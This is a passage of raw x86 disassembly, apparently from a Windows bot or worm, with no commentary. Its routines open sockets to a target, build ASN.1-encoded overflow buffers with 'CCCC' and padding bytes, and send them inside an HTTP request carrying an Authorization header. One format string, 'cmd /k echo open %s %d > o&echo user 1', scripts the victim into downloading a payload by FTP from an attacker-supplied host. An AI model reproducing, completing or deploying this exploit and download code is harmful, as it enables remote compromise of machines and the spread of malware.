lea eax, [ebp-440h]
push dword ptr [ebp-0ACh]
push eax
lea eax, [ebp-13Ch]
push eax
push dword ptr [ebp-240h]
call sub_40E367
add esp, 14h
loc_402069: ; CODE XREF: seg000:00402044j
lea eax, [ebp-440h]
push eax
call sub_407E0E
push dword ptr [ebp-0BCh]
call sub_4102D3
pop ecx
pop ecx
push ebx
call near ptr 3E0000h
loc_402088: ; CODE XREF: seg000:0040208Aj
; seg000:00401DD9j
and al, 0FFh
jnz short loc_402088
call ds:dword_430828 ; closesocket
mov eax, [ebp+8]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div dword ptr [ebp-0B4h]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp-23Ch]
push dword ptr [ebp+8]
push eax
lea eax, [ebp-1BCh]
push eax
lea eax, [ebp-440h]
push offset dword_41E2D0
push eax
call sub_41050B
add esp, 1Ch
cmp [ebp-0A8h], ebx
jnz short loc_4020FA
push ebx
lea eax, [ebp-440h]
push dword ptr [ebp-0ACh]
push eax
lea eax, [ebp-13Ch]
push eax
push dword ptr [ebp-240h]
call sub_40E367
add esp, 14h
loc_4020FA: ; CODE XREF: seg000:004020D5j
lea eax, [ebp-440h]
push eax
call sub_407E0E
push dword ptr [ebp-0BCh]
call sub_4102D3
pop ecx
pop ecx
push ebx
call near ptr 3E0000h
mov eax, ds:6083C18Bh ; CODE XREF: sub_40238E+Ep
; sub_40238E+33p ...
add al, 0
loc_402120: ; DATA XREF: seg002:off_426228o
and dword ptr [eax], 0
retn
; =============== S U B R O U T I N E =======================================
sub_402124 proc near ; CODE XREF: sub_40238E+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_410C0F
mov edi, eax
pop ecx
test edi, edi
jz short loc_402156
push ebx
push 0
push edi
call sub_410590
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_4105F0
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_402156: ; CODE XREF: sub_402124+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_402124 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40215E proc near ; CODE XREF: sub_402258+18p
; sub_4022D2+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_410C0F
mov esi, eax
pop ecx
test esi, esi
jz short loc_4021AA
push edi
push 0
push esi
call sub_410590
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_4105F0
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_4105F0
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_4021AA: ; CODE XREF: sub_40215E+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40215E endp
; =============== S U B R O U T I N E =======================================
sub_4021B3 proc near ; CODE XREF: sub_402258+5Ep
; sub_402258+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_4021C3
push eax
call sub_410C83
pop ecx
loc_4021C3: ; CODE XREF: sub_4021B3+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_4021B3 endp
; =============== S U B R O U T I N E =======================================
sub_4021CC proc near ; CODE XREF: sub_402258+20p
; sub_402333+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_4021F9
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_410C0F
mov edi, eax
pop ecx
test edi, edi
jnz short loc_4021FD
loc_4021F9: ; CODE XREF: sub_4021CC+Dj
xor al, al
jmp short loc_402254
; ---------------------------------------------------------------------------
loc_4021FD: ; CODE XREF: sub_4021CC+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_410590
add esp, 0Ch
cmp ebx, 1
jnz short loc_402222
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40223C
; ---------------------------------------------------------------------------
loc_402222: ; CODE XREF: sub_4021CC+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_40223C: ; CODE XREF: sub_4021CC+54j
push eax
call sub_4105F0
add esp, 0Ch
push dword ptr [esi]
call sub_410C83
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_402254: ; CODE XREF: sub_4021CC+2Fj
pop edi
pop esi
pop ebx
retn
sub_4021CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402258 proc near ; CODE XREF: sub_40238E+89p
; sub_40238E+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_42F3E4
call sub_40215E
lea ecx, [ebp+var_8]
call sub_4021CC
mov eax, [ebp+var_4]
inc eax
push eax
call sub_410C0F
mov edi, eax
pop ecx
test edi, edi
jnz short loc_402292
xor al, al
jmp short loc_4022CE
; ---------------------------------------------------------------------------
loc_402292: ; CODE XREF: sub_402258+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_410590
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_4105F0
add esp, 18h
mov ecx, esi
call sub_4021B3
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_4021B3
mov al, 1
loc_4022CE: ; CODE XREF: sub_402258+38j
pop edi
pop esi
leave
retn
sub_402258 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4022D2 proc near ; CODE XREF: sub_402306+14p
; sub_402323+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40215E
mov ecx, esi
call sub_4021B3
mov eax, [ebp+var_8]
loc_4022F7: ; DATA XREF: sub_47D31Fw
; sub_47D31F+29r
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_4022D2 endp
; =============== S U B R O U T I N E =======================================
sub_402306 proc near ; CODE XREF: sub_40238E+F0p
; sub_40238E+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_410B60
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_4022D2
pop esi
retn 4
sub_402306 endp
; =============== S U B R O U T I N E =======================================
sub_402323 proc near ; CODE XREF: sub_40236F+Bp
; sub_40238E+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_4022D2
retn 8
sub_402323 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402333 proc near ; CODE XREF: sub_40236F+16p
; sub_40238E+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_4021CC
test al, al
jz short loc_40236C
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push (offset loc_41F1BB+1)
call sub_40215E
mov ecx, esi
call sub_4021B3
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40236C: ; CODE XREF: sub_402333+Fj
pop esi
leave
retn
sub_402333 endp
; =============== S U B R O U T I N E =======================================
sub_40236F proc near ; CODE XREF: sub_40238E+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_402323
test al, al
jz short loc_40238A
mov ecx, esi
call sub_402333
loc_40238A: ; CODE XREF: sub_40236F+12j
pop esi
retn 8
sub_40236F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40238E proc near ; CODE XREF: sub_402B8D+86p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call near ptr loc_402119+1
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_4026E2
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_4026E2
push esi
lea ecx, [ebp+var_30]
call near ptr loc_402119+1
lea ecx, [ebp+var_20]
call near ptr loc_402119+1
lea ecx, [ebp+var_50]
call near ptr loc_402119+1
lea ecx, [ebp+var_18]
call near ptr loc_402119+1
lea ecx, [ebp+var_40]
call near ptr loc_402119+1
lea ecx, [ebp+var_38]
call near ptr loc_402119+1
lea ecx, [ebp+var_28]
call near ptr loc_402119+1
push 4
push offset dword_41EE5C
lea ecx, [ebp+var_30]
call sub_4022D2
push 3
push offset dword_41EE64
lea ecx, [ebp+var_30]
call sub_4022D2
lea ecx, [ebp+var_30]
call sub_402258
lea ecx, [ebp+var_30]
call sub_402333
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_410590
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset byte_41EE50
call sub_4022D2
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_4022D2
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_4022D2
lea ecx, [ebp+var_20]
call sub_402258
push offset loc_41F1E4
lea ecx, [ebp+var_50]
call sub_402306
lea ecx, [ebp+var_50]
call sub_402258
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_410590
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_402124
lea ecx, [ebp+var_58]
call sub_402258
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40236F
lea ecx, [ebp+var_58]
call sub_4021B3
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_410590
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_402306
push 4
push offset dword_41EE68
lea ecx, [ebp+var_18]
call sub_4022D2
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_4022D2
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_4022D2
lea ecx, [ebp+var_18]
call sub_402258
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_402323
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_402323
lea ecx, [ebp+var_40]
call sub_402333
lea ecx, [ebp+var_18]
call sub_4021B3
lea ecx, [ebp+var_50]
call sub_4021B3
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_402323
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_402323
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_402323
lea ecx, [ebp+var_38]
call sub_402333
lea ecx, [ebp+var_20]
call sub_4021B3
lea ecx, [ebp+var_30]
call sub_4021B3
lea ecx, [ebp+var_40]
call sub_4021B3
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_410590
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_4022D2
lea ecx, [ebp+var_28]
call sub_402258
push 2
push offset dword_41F1D8
lea ecx, [ebp+var_28]
call sub_4022D2
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_402323
lea ecx, [ebp+var_28]
call sub_402333
lea ecx, [ebp+var_38]
call sub_4021B3
lea ecx, [ebp+var_10]
call near ptr loc_402119+1
lea ecx, [ebp+var_8]
call near ptr loc_402119+1
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_402323
lea ecx, [ebp+var_10]
call sub_4021CC
lea ecx, [ebp+var_28]
call sub_4021B3
push offset dword_41F1D4
lea ecx, [ebp+var_8]
call sub_402306
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_402323
lea ecx, [ebp+var_8]
call sub_4021CC
lea ecx, [ebp+var_10]
call sub_4021B3
push offset dword_41F1D0
lea ecx, [ebp+var_10]
call sub_402306
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_402323
lea ecx, [ebp+var_10]
call sub_4021CC
lea ecx, [ebp+var_8]
call sub_4021B3
push offset dword_41F1C4
lea ecx, [ebp+var_8]
call sub_402306
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_402323
lea ecx, [ebp+var_8]
call sub_4021CC
lea ecx, [ebp+var_10]
call sub_4021B3
push offset dword_41F1C0
lea ecx, [ebp+var_48]
call sub_402306
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_402323
lea ecx, [ebp+var_8]
call sub_4021B3
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_4026F0
; ---------------------------------------------------------------------------
loc_4026E2: ; CODE XREF: sub_40238E+1Bj
; sub_40238E+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_4026F0: ; CODE XREF: sub_40238E+352j
pop edi
pop ebx
leave
retn
sub_40238E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4026F4 proc near ; CODE XREF: sub_4027B8+A1p
; sub_4027B8+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call ds:dword_41C1B0 ; select
cmp eax, edi
jnz short loc_40275B
lea eax, [ebp+var_10C]
push eax
push esi
call sub_41AFF8 ; __WSAFDIsSet
test eax, eax
jnz short loc_40275F
loc_40275B: ; CODE XREF: sub_4026F4+54j
xor eax, eax
jmp short loc_40276F
; ---------------------------------------------------------------------------
loc_40275F: ; CODE XREF: sub_4026F4+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call ds:dword_4307AC ; recv
loc_40276F: ; CODE XREF: sub_4026F4+69j
pop edi
pop esi
leave
retn
sub_4026F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402773 proc near ; CODE XREF: sub_4027B8+81p
; sub_4027B8+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call ds:dword_430790 ; ntohl
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call ds:dword_4307E0 ; send
cmp eax, 4
jz short loc_40279D
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40279D: ; CODE XREF: sub_402773+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_4307E0 ; send
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_402773 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4027B8 proc near ; CODE XREF: sub_402892+48p
; sub_402B8D+181p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_410C0F
mov esi, eax
pop ecx
test esi, esi
jnz short loc_4027E1
xor al, al
jmp loc_40288D
; ---------------------------------------------------------------------------
loc_4027E1: ; CODE XREF: sub_4027B8+20j
push ebx
push 0
push esi
call sub_410590
push 2Fh
push offset dword_41EEF8
push esi
call sub_4105F0
push 8
lea eax, [esi+31h]
push offset dword_41EF28
push eax
mov [esi+2Fh], di
call sub_4105F0
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_4105F0
push 6
add ebx, edi
push offset dword_42F3DC
push ebx
call sub_4105F0
mov ebx, [ebp+arg_0]
push 85h
push offset dword_41EE70
push ebx
call sub_402773
add esp, 48h
test al, al
jnz short loc_402849
loc_402845: ; CODE XREF: sub_4027B8+B5j
xor bl, bl
jmp short loc_402884
; ---------------------------------------------------------------------------
loc_402849: ; CODE XREF: sub_4027B8+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_4026F4
push [ebp+var_4]
push esi
push ebx
call sub_402773
add esp, 1Ch
test al, al
jz short loc_402845
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_4026F4
add esp, 10h
mov bl, 1
loc_402884: ; CODE XREF: sub_4027B8+8Fj
push esi
call sub_410C83
pop ecx
mov al, bl
loc_40288D: ; CODE XREF: sub_4027B8+24j
pop edi
pop esi
pop ebx
leave
retn
sub_4027B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402892 proc near ; CODE XREF: sub_402B8D+167p
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_41EF34
push [ebp+arg_0]
call ds:dword_41C1CC ; send
cmp eax, 48h
jnz short loc_4028CD
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_4026F4
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_4028CD
cmp [ebp+var_20], 82h
jz short loc_4028D1
loc_4028CD: ; CODE XREF: sub_402892+1Bj
; sub_402892+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_4028D1: ; CODE XREF: sub_402892+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4027B8
add esp, 0Ch
leave
retn
sub_402892 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4028E4 proc near ; CODE XREF: sub_402930+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul ds:dbl_41C220
call sub_410DD4
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul ds:dbl_41C218
fstp [esp+10h+var_10]
call sub_410CB2
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_410DD4
inc eax
leave
retn
sub_4028E4 endp
; =============== S U B R O U T I N E =======================================
sub_402930 proc near ; CODE XREF: sub_402AD2+24p
var_40 = qword ptr -40h
mov eax, offset loc_41B157
call sub_4112A0
sub esp, 2Ch
mov al, [ebp+13h]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp-38h]
push edi
mov [ebp-20h], edi
mov [ebp-38h], al
call sub_402FA7
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp-4], ebx
call sub_4028E4
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_402972
push edi
push eax
lea ecx, [ebp-38h]
call sub_402F22
loc_402972: ; CODE XREF: sub_402930+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_402A8F
mov ebx, [ebp+10h]
loc_402981: ; CODE XREF: sub_402930+156j
cmp dword ptr [ebp+10h], 3
jb short loc_40298B
push 3
jmp short loc_40299D
; ---------------------------------------------------------------------------
loc_40298B: ; CODE XREF: sub_402930+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_402995
push 2
jmp short loc_40299D
; ---------------------------------------------------------------------------
loc_402995: ; CODE XREF: sub_402930+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_40299E
push 1
loc_40299D: ; CODE XREF: sub_402930+59j
; sub_402930+63j
pop ebx
loc_40299E: ; CODE XREF: sub_402930+69j
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul ds:dbl_41C230
fstp [esp+40h+var_40]
call sub_410DFB
pop ecx
pop ecx
call sub_410DD4
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_4029DD
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_4029DD: ; CODE XREF: sub_402930+93j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_402A4B
add [ebp-18h], eax
loc_402A2F: ; CODE XREF: sub_402930+119j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, ds:byte_41EF80[eax]
push eax
push 1
call sub_402DA4
inc esi
cmp esi, [ebp-1Ch]
jb short loc_402A2F
loc_402A4B: ; CODE XREF: sub_402930+FAj
cmp dword ptr [ebp-18h], 48h
jb short loc_402A69
push dword ptr [ebp+14h]
call sub_410B60
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_402DFD
mov [ebp-18h], edi
loc_402A69: ; CODE XREF: sub_402930+11Fj
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_402A83
sub esi, [ebp-1Ch]
loc_402A74: ; CODE XREF: sub_402930+151j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_402DA4
dec esi
jnz short loc_402A74
loc_402A83: ; CODE XREF: sub_402930+13Fj
cmp [ebp+10h], edi
ja loc_402981
push 1
pop ebx
loc_402A8F: ; CODE XREF: sub_402930+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_402FA7
push ds:dword_41C228
lea eax, [ebp-38h]
mov ecx, esi
push edi
push eax
call sub_402E54
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_402FA7
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_402930 endp
; =============== S U B R O U T I N E =======================================
sub_402AD2 proc near ; CODE XREF: sub_402B8D+14Ap
mov eax, offset loc_41B174
call sub_4112A0
sub esp, 10h
push ebx
push esi
push edi
push offset dword_42F3E8
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_402930
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_410C0F
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_402B1C
xor bl, bl
jmp short loc_402B60
; ---------------------------------------------------------------------------
loc_402B1C: ; CODE XREF: sub_402AD2+44j
mov ecx, [ebp-18h]
mov eax, offset dword_41C238
cmp ecx, ebx
jnz short loc_402B2A
mov ecx, eax
loc_402B2A: ; CODE XREF: sub_402AD2+54j
cmp [ebp+18h], ebx
jz short loc_402B32
mov eax, [ebp+18h]
loc_402B32: ; CODE XREF: sub_402AD2+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_410A8A
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call ds:dword_4307E0 ; send
cmp eax, esi
jz short loc_402B57
xor bl, bl
jmp short loc_402B59
; ---------------------------------------------------------------------------
loc_402B57: ; CODE XREF: sub_402AD2+7Fj
mov bl, 1
loc_402B59: ; CODE XREF: sub_402AD2+83j
push edi
call sub_410C83
pop ecx
loc_402B60: ; CODE XREF: sub_402AD2+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_402FA7
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_402FA7
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_402AD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402B8D proc near ; CODE XREF: sub_40550F+1E6p
; DATA XREF: seg002:off_41FFECo
var_624 = byte ptr -624h
var_424 = byte ptr -424h
var_423 = byte ptr -423h
var_395 = byte ptr -395h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_BB = byte ptr 0C3h
push ebp
mov ebp, esp
sub esp, 624h
and [ebp+var_424], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_423]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp+var_424]
push offset sub_41F12C
push eax
call sub_4105F0
add esp, 0Ch
mov eax, offset byte_423068
push eax
push eax
push ds:dword_42F3F0
push [ebp+arg_0]
call sub_407435
pop ecx
push eax
push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
lea eax, [ebp+var_395]
push 400h
push eax
call sub_410A8A
add eax, 90h
push eax
lea eax, [ebp+var_424]
push eax
push 164h
lea eax, [ebp+var_24]
push offset sub_41EFC4
push eax
call sub_40238E
mov ecx, [eax]
xor esi, esi
mov [ebp+var_8], ecx
add esp, 30h
mov eax, [eax+4]
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_402C33
xor eax, eax
jmp loc_402D97
; ---------------------------------------------------------------------------
loc_402C33: ; CODE XREF: sub_402B8D+9Dj
mov [ebp+var_C], esi
loc_402C36: ; CODE XREF: sub_402B8D+1A9j
test esi, esi
jnz loc_402D3C
push 6
push 1
push 2
call ds:dword_41C1C0 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_402D24
xor eax, eax
lea edi, [ebp+var_1A]
stosd
push [ebp+arg_A0]
stosd
stosd
stosw
mov [ebp+var_1C], 2
call ds:dword_430794 ; ntohs
mov [ebp+var_1A], ax
lea eax, [ebp+arg_4]
push eax
call ds:dword_4307D0 ; inet_addr
mov [ebp+var_18], eax
lea eax, [ebp+var_1C]
push 10h
push eax
push ebx
call ds:dword_430740 ; connect
cmp eax, 0FFFFFFFFh
jz loc_402D19
cmp [ebp+arg_A0], 50h
jnz short loc_402CE1
mov al, [ebp+arg_BB]
sub esp, 10h
mov esi, esp
mov [ebp+var_20], esp
push 0
mov ecx, esi
mov [esi], al
call sub_402FA7
lea eax, [ebp+arg_4]
push eax
call sub_410B60
pop ecx
push eax
lea eax, [ebp+arg_4]
